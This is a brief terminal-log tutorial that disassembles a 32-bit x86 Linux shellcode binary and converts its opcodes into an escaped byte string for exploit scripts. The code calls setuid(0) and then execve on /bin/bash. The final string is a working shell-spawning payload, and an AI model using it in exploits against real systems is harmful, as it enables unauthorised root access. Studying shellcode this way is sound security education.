Extract opcode from the compiled shellcode written in Assembly Language
╭─[debian] as root in /mnt/exercises/assembly on (master)✘✘✘ 06-15 11:26:48
╰─(ﾉ˚Д˚)ﾉ objdump -Mintel -d shellcode-bash
shellcode-bash: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 89 c3 mov ebx,eax
8048064: b0 17 mov al,0x17
8048066: cd 80 int 0x80
8048068: 31 d2 xor edx,edx
804806a: 52 push edx
804806b: 68 62 61 73 68 push 0x68736162
8048070: 68 62 69 6e 2f push 0x2f6e6962
8048075: 68 2f 2f 2f 2f push 0x2f2f2f2f
804807a: 89 e3 mov ebx,esp
804807c: 52 push edx
804807d: 53 push ebx
804807e: 89 e1 mov ecx,esp
8048080: 8d 42 0b lea eax,[edx+0xb]
8048083: cd 80 int 0x80
Let's make it usuable for Python or Perl or whatever tools you use ╭─[debian] as root in /mnt/exercises/assembly on (master)✘✘✘ 06-15 11:27:21
╰─(ﾉ˚Д˚)ﾉ objdump -Mintel -d shellcode-bash |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
